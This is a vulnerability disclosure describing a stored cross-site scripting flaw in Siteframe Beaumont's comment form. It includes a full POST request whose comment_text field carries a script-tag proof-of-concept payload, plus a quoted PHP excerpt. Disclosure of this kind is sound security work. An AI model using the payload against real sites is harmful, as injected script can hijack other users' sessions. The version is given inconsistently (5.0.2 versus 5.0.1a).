Siteframe Beaumont 5.0.2 <== User Comment Cross-Site Scripting Vulnerability

Siteframe Beaumont 5.0.2 <== User Comment Cross-Site Scripting Vulnerability

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Information of Software:

Software: Siteframe Beaumont 5.0.1a  
Site: http://www.siteframe.org/
Description of software: Siteframe is a lightweight content-management 
system designed for the rapid deployment of community-based websites. 
With Siteframe,a group of users can share stories and photographs, create blogs, 
send email to one another, and participate in group activities.

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Bug:

Siteframe contains a flaw that allows a remote cross site scripting attack. 
The vulnerability is found in the user comment page and the user can modify 
the function GET and insert the XSS code

- http POST request

http://[target]/edit/Comment
POST /edit/Comment HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai
n;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&co
mment_subject=Kiki&comment_text=Hi&_submitted=1

but we can modify the request POST in this way:

comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&co
mment_subject=Kiki&comment_text=<script>alert("lol");</script>&_submitte
d=1

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Example:

you can insert in the text post an XSS code or you can modify the request in this way:

comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&co
mment_subject=Kiki&comment_text=[XSS]&_submitted=1

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The bug is in this part of page.php

[...]
    // get the comments
    if ($p->get('allow_comments'))   // are comments allowed?
    {
        // display comments
        if (config('threaded_comments'))
            $clist = $p->get_threaded_comments();
        else
            $clist = $p->get_comments();
        $PAGE->assign('comments', $clist);
        $PAGE->assign('num_comments', count($clist));

// now, create a comment form
        $c = new Comment;
        $c->set('comment_page_id', $p->id());
        $PAGE->assign('comment_form', $c->form());
    }
[...]

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Credit:

Author:  Kiki
e-mail: federico.sana (at) alice (dot) it [email concealed]
web page: http://kiki91.altervista.org

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